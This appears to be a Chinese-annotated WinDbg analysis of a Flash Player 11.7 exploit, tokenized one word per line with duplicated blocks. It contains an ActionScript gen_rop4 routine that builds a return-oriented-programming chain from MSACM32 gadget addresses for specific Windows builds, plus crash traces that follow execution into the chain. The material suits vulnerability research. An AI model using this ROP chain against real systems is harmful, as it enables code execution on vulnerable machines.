=
0394fa1c
eip
=
77bf200d
esp
=
0394fa18
ebp
=
0394fa44
iopl
=
0
ov up ei pl nz na pe cy
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00010a07
MSACM32_77be0000!_pRawDllMain <PERF> (MSACM32_77be0000
+
0x1200d
):
77bf200d
000500030000
add byte ptr ds:[
300h
],al ds:
0023
:
00000300
=
??
public function gen_rop4() : ByteArray {
var baseaddr:
int
=
0
;
var i:
*
=
undefined;
if
(sys
=
=
1
) {
baseaddr
=
2008940544
;
/
/
77be0000
简体中文版
}
else
if
(sys
=
=
2
) {
baseaddr
=
2009137152
;
/
/
77c10000
}
else
if
(sys
=
=
3
) {
baseaddr
=
2008940544
;
/
/
77be0000
}
var rop:ByteArray
=
new ByteArray();
rop.endian
=
"littleEndian"
;
rop.writeMultiByte(
"FILL"
,
"iso-8859-1"
);
rop.writeUnsignedInt(
171922
+
baseaddr);
/
/
77C09F92
rop.writeUnsignedInt(
71891
+
baseaddr);
/
/
77BF18D3
rop.writeUnsignedInt(
156885
+
baseaddr);
/
/
77C064D5
rop.writeUnsignedInt(
156885
+
baseaddr);
/
/
77C064D5
rop.writeUnsignedInt(
0xe0913
+
baseaddr);
/
/
77CC0913
rop.writeUnsignedInt(
513
);
/
/
201
rop.writeUnsignedInt(
248825
+
baseaddr);
/
/
77C1CBF9
rop.writeUnsignedInt(
64
);
...
rop.writeUnsignedInt(
2425411327
);
for
(i
=
rop.length; i <
204
; ) {
rop.writeByte(
0x90
);
i
+
+
;
}
return
rop;
}
public function gen_rop4() : ByteArray {
var baseaddr:
int
=
0
;
var i:
*
=
undefined;
if
(sys
=
=
1
) {
baseaddr
=
2008940544
;
/
/
77be0000
简体中文版
}
else
if
(sys
=
=
2
) {
baseaddr
=
2009137152
;
/
/
77c10000
}
else
if
(sys
=
=
3
) {
baseaddr
=
2008940544
;
/
/
77be0000
}
var rop:ByteArray
=
new ByteArray();
rop.endian
=
"littleEndian"
;
rop.writeMultiByte(
"FILL"
,
"iso-8859-1"
);
rop.writeUnsignedInt(
171922
+
baseaddr);
/
/
77C09F92
rop.writeUnsignedInt(
71891
+
baseaddr);
/
/
77BF18D3
rop.writeUnsignedInt(
156885
+
baseaddr);
/
/
77C064D5
rop.writeUnsignedInt(
156885
+
baseaddr);
/
/
77C064D5
rop.writeUnsignedInt(
0xe0913
+
baseaddr);
/
/
77CC0913
rop.writeUnsignedInt(
513
);
/
/
201
rop.writeUnsignedInt(
248825
+
baseaddr);
/
/
77C1CBF9
rop.writeUnsignedInt(
64
);
...
rop.writeUnsignedInt(
2425411327
);
for
(i
=
rop.length; i <
204
; ) {
rop.writeByte(
0x90
);
i
+
+
;
}
return
rop;
}
0
:
019
> kb
ChildEBP RetAddr Args to Child
0394fa44
10101815
00000000
00000000
00000000
MSACM32_77be0000!_pRawDllMain <PERF> (MSACM32_77be0000
+
0x1200d
)
WARNING: Stack unwind information
not
available. Following frames may be wrong.
0394fa70
10103075
00000000
02a563b0
02aa41c0
Flash32_11_7_700_261
+
0x101815
0394faf8
102dff93
02aa41c0
102e0063
02aa41c0
Flash32_11_7_700_261
+
0x103075
0394fb00
102e0063
02aa41c0
100fe0fd
00000000
Flash32_11_7_700_261!DllUnregisterServer
+
0xed29a
0394fb08
100fe0fd
00000000
031b2000
00000000
Flash32_11_7_700_261!DllUnregisterServer
+
0xed36a
0394fb1c
1015e803
7c809832
031b2000
031b2000
Flash32_11_7_700_261
+
0xfe0fd
0394fb6c
10210898
00000001
7c809832
031b2000
Flash32_11_7_700_261
+
0x15e803
0394fb80
10210e84
02c2d000
10210ebc
0394ff18
Flash32_11_7_700_261!DllUnregisterServer
+
0x1db9f
0394fb88
10210ebc
0394ff18
1003c391
00000001
Flash32_11_7_700_261!DllUnregisterServer
+
0x1e18b
0394fb90
1003c391
00000001
031b2000
032f2020
Flash32_11_7_700_261!DllUnregisterServer
+
0x1e1c3
0394ff90
10629336
02a783e0
10ba9cb4
02a7d338
Flash32_11_7_700_261
+
0x3c391
00000000
00000000
00000000
00000000
00000000
Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule
+
0xe7ac6
0
:
019
> kb
ChildEBP RetAddr Args to Child
0394fa44
10101815
00000000
00000000
00000000
MSACM32_77be0000!_pRawDllMain <PERF> (MSACM32_77be0000
+
0x1200d
)
WARNING: Stack unwind information
not
available. Following frames may be wrong.
0394fa70
10103075
00000000
02a563b0
02aa41c0
Flash32_11_7_700_261
+
0x101815
0394faf8
102dff93
02aa41c0
102e0063
02aa41c0
Flash32_11_7_700_261
+
0x103075
0394fb00
102e0063
02aa41c0
100fe0fd
00000000
Flash32_11_7_700_261!DllUnregisterServer
+
0xed29a
0394fb08
100fe0fd
00000000
031b2000
00000000
Flash32_11_7_700_261!DllUnregisterServer
+
0xed36a
0394fb1c
1015e803
7c809832
031b2000
031b2000
Flash32_11_7_700_261
+
0xfe0fd
0394fb6c
10210898
00000001
7c809832
031b2000
Flash32_11_7_700_261
+
0x15e803
0394fb80
10210e84
02c2d000
10210ebc
0394ff18
Flash32_11_7_700_261!DllUnregisterServer
+
0x1db9f
0394fb88
10210ebc
0394ff18
1003c391
00000001
Flash32_11_7_700_261!DllUnregisterServer
+
0x1e18b
0394fb90
1003c391
00000001
031b2000
032f2020
Flash32_11_7_700_261!DllUnregisterServer
+
0x1e1c3
0394ff90
10629336
02a783e0
10ba9cb4
02a7d338
Flash32_11_7_700_261
+
0x3c391
00000000
00000000
00000000
00000000
00000000
Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule
+
0xe7ac6
0
:
019
> ub Flash32_11_7_700_261
+
0x101815
Flash32_11_7_700_261
+
0x101804
:
10101804
10d9
adc cl,bl
10101806
ee out dx,al
10101807
53
push ebx
10101808
51
push ecx
10101809
51
push ecx
1010180a
dd1c24 fstp qword ptr [esp]
1010180d
ff7508 push dword ptr [ebp
+
8
]
10101810
e821f9ffff call Flash32_11_7_700_261
+
0x101136
(
10101136
)
0
:
019
> ub Flash32_11_7_700_261
+
0x101815
Flash32_11_7_700_261
+
0x101804
:
10101804
10d9
adc cl,bl
10101806
ee out dx,al
10101807
53
push ebx
10101808
51
push ecx
10101809
51
push ecx
1010180a
dd1c24 fstp qword ptr [esp]
1010180d
ff7508 push dword ptr [ebp
+
8
]
10101810
e821f9ffff call Flash32_11_7_700_261
+
0x101136
(
10101136
)
0
:
020
> bl
0
e
76b5d038
0001
(
0001
)
0
:
*
*
*
*
WINMM!midiOutPlayNextPolyEvent
/
/
这个是之前调试其他问题留下的,忽略它
1
e
10101810
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x101810
2
e
10101136
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x101136
/
/
函数在这里开始
3
e
10101153
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x101153
4
e
10101173
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x101173
5
e
10101199
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x101199
6
e
101011b3
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x1011b3
7
e
101011f2
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x1011f2
8
e
1010122e
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x10122e
9
e
10101261
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x101261
10
e
10101265
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x101265
11
e
1010126b
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x10126b
12
e
101012a8
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x1012a8
13
e
101012da
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x1012da
14
e
101012f3
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x1012f3
15
e
1010116e
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x10116e
16
e
10101299
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x101299
17
e
1010114c
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x10114c
/
/
函数在这里退出
0
:
020
> bl
0
e
76b5d038
0001
(
0001
)
0
:
*
*
*
*
WINMM!midiOutPlayNextPolyEvent
/
/
这个是之前调试其他问题留下的,忽略它
1
e
10101810
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x101810
2
e
10101136
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x101136
/
/
函数在这里开始
3
e
10101153
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x101153
4
e
10101173
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x101173
5
e
10101199
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x101199
6
e
101011b3
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x1011b3
7
e
101011f2
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x1011f2
8
e
1010122e
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x10122e
9
e
10101261
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x101261
10
e
10101265
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x101265
11
e
1010126b
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x10126b
12
e
101012a8
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x1012a8
13
e
101012da
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x1012da
14
e
101012f3
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x1012f3
15
e
1010116e
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x10116e
16
e
10101299
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x101299
17
e
1010114c
0001
(
0001
)
0
:
*
*
*
*
Flash32_11_7_700_261
+
0x10114c
/
/
函数在这里退出
Breakpoint
2
hit
Breakpoint
3
hit
Breakpoint
4
hit
Breakpoint
5
hit
Breakpoint
6
hit
Breakpoint
7
hit
Breakpoint
8
hit
Breakpoint
10
hit
Breakpoint
11
hit
Breakpoint
16
hit
Breakpoint
17
hit
Breakpoint
5
hit
Breakpoint
6
hit
/
/
然后就中断在异常位置了
Breakpoint
2
hit
Breakpoint
3
hit
Breakpoint
4
hit
Breakpoint
5
hit
Breakpoint
6
hit
Breakpoint
7
hit
Breakpoint
8
hit
Breakpoint
10
hit
Breakpoint
11
hit
Breakpoint
16
hit
Breakpoint
17
hit
Breakpoint
5
hit
Breakpoint
6
hit
/
/
然后就中断在异常位置了
0
:
020
> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information
not
available. Following frames may be wrong.
03a4f81c
10101815
00000000
00000000
00000000
Flash32_11_7_700_261
+
0x101199
03a4f848
10103075
00000000
02aa41c0
02aa41c0
Flash32_11_7_700_261
+
0x101815
03a4f8d0
102dff93
02aa41c0
102e0063
02acf1b0
Flash32_11_7_700_261
+
0x103075
03a4f8d8
102e0063
02acf1b0
1014bc69
00000000
Flash32_11_7_700_261!DllUnregisterServer
+
0xed29a
03a4f8e0
1014bc69
00000000
0334d308
03bf6a80
Flash32_11_7_700_261!DllUnregisterServer
+
0xed36a
03a4f910
105b68cf
03bf6a80
0369a298
00000000
Flash32_11_7_700_261
+
0x14bc69
03a4f944
1062a5e4
10b70b54
00000048
00000000
Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule
+
0x7505f
03a4f99c
10035c09
100e3933
00000001
03a4f9c4
Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule
+
0xe8d74
03a4f9a0
100e3933
00000001
03a4f9c4
100f479d
Flash32_11_7_700_261
+
0x35c09
03a4f9ac
100f479d
0369a000
100b564c
fffffffe Flash32_11_7_700_261
+
0xe3933
03a4f9e0
100b6339
03a4fa18
037b9060
10b9c2f4
Flash32_11_7_700_261
+
0xf479d
03a4f9f8
100b68ff
03a4fa18
037b9060
10b9c2f4
Flash32_11_7_700_261
+
0xb6339
03a4fa1c
10101196
037b9060
02a563b0
02aa41c0
Flash32_11_7_700_261
+
0xb68ff
03a4fa44
10101815
00000000
00000000
00000000
Flash32_11_7_700_261
+
0x101196
03a4fa70
10103075
00000000
02a563b0
02aa41c0
Flash32_11_7_700_261
+
0x101815
/
/
看这里!!!
03a4faf8
102dff93
02aa41c0
102e0063
02aa41c0
Flash32_11_7_700_261
+
0x103075
03a4fb00
102e0063
02aa41c0
100fe0fd
00000000
Flash32_11_7_700_261!DllUnregisterServer
+
0xed29a
03a4fb08
100fe0fd
00000000
0369a000
00000000
Flash32_11_7_700_261!DllUnregisterServer
+
0xed36a
03a4fb1c
1015e803
7c809832
0369a000
0369a000
Flash32_11_7_700_261
+
0xfe0fd
03a4fb6c
10210898
00000001
7c809832
0369a000
Flash32_11_7_700_261
+
0x15e803
0
:
020
> kb
ChildEBP RetAddr Args to Child
WARNING: Stack unwind information
not
available. Following frames may be wrong.
03a4f81c
10101815
00000000
00000000
00000000
Flash32_11_7_700_261
+
0x101199
03a4f848
10103075
00000000
02aa41c0
02aa41c0
Flash32_11_7_700_261
+
0x101815
03a4f8d0
102dff93
02aa41c0
102e0063
02acf1b0
Flash32_11_7_700_261
+
0x103075
03a4f8d8
102e0063
02acf1b0
1014bc69
00000000
Flash32_11_7_700_261!DllUnregisterServer
+
0xed29a
03a4f8e0
1014bc69
00000000
0334d308
03bf6a80
Flash32_11_7_700_261!DllUnregisterServer
+
0xed36a
03a4f910
105b68cf
03bf6a80
0369a298
00000000
Flash32_11_7_700_261
+
0x14bc69
03a4f944
1062a5e4
10b70b54
00000048
00000000
Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule
+
0x7505f
03a4f99c
10035c09
100e3933
00000001
03a4f9c4
Flash32_11_7_700_261!IAEModule_IAEKernel_UnloadModule
+
0xe8d74
03a4f9a0
100e3933
00000001
03a4f9c4
100f479d
Flash32_11_7_700_261
+
0x35c09
03a4f9ac
100f479d
0369a000
100b564c
fffffffe Flash32_11_7_700_261
+
0xe3933
03a4f9e0
100b6339
03a4fa18
037b9060
10b9c2f4
Flash32_11_7_700_261
+
0xf479d
03a4f9f8
100b68ff
03a4fa18
037b9060
10b9c2f4
Flash32_11_7_700_261
+
0xb6339
03a4fa1c
10101196
037b9060
02a563b0
02aa41c0
Flash32_11_7_700_261
+
0xb68ff
03a4fa44
10101815
00000000
00000000
00000000
Flash32_11_7_700_261
+
0x101196
03a4fa70
10103075
00000000
02a563b0
02aa41c0
Flash32_11_7_700_261
+
0x101815
/
/
看这里!!!
03a4faf8
102dff93
02aa41c0
102e0063
02aa41c0
Flash32_11_7_700_261
+
0x103075
03a4fb00
102e0063
02aa41c0
100fe0fd
00000000
Flash32_11_7_700_261!DllUnregisterServer
+
0xed29a
03a4fb08
100fe0fd
00000000
0369a000
00000000
Flash32_11_7_700_261!DllUnregisterServer
+
0xed36a
03a4fb1c
1015e803
7c809832
0369a000
0369a000
Flash32_11_7_700_261
+
0xfe0fd
03a4fb6c
10210898
00000001
7c809832
0369a000
Flash32_11_7_700_261
+
0x15e803
0
:
020
> p
eax
=
02aa4290
ebx
=
00000000
ecx
=
02aa41c0
edx
=
00000320
esi
=
02aa41c0
edi
=
03a4fa1c
eip
=
101011c2
esp
=
03a4fa1c
ebp
=
03a4fa44
iopl
=
0
nv up ei pl nz na po nc
cs
=
001b
ss
=
0023
ds
=
0023
es
=
0023
fs
=
003b
gs
=
0000
efl
=
00000202
Flash32_11_7_700_261
+
0x1011c2
:
101011c2
ff5008 call dword ptr [eax
+
8
] ds:
0023
:
02aa4298
=
77bf18d3
0
:
020
> p
eax
=
02aa4290
ebx
=
00000000
ecx
=
02aa41c0
edx
=
00000320
esi
=
02aa41c0
edi
=
03a4fa1c
eip
=
101011c2
esp
=
03a4fa1c
ebp
=
03a4fa44
iopl
=
0
nv up ei pl nz na po nc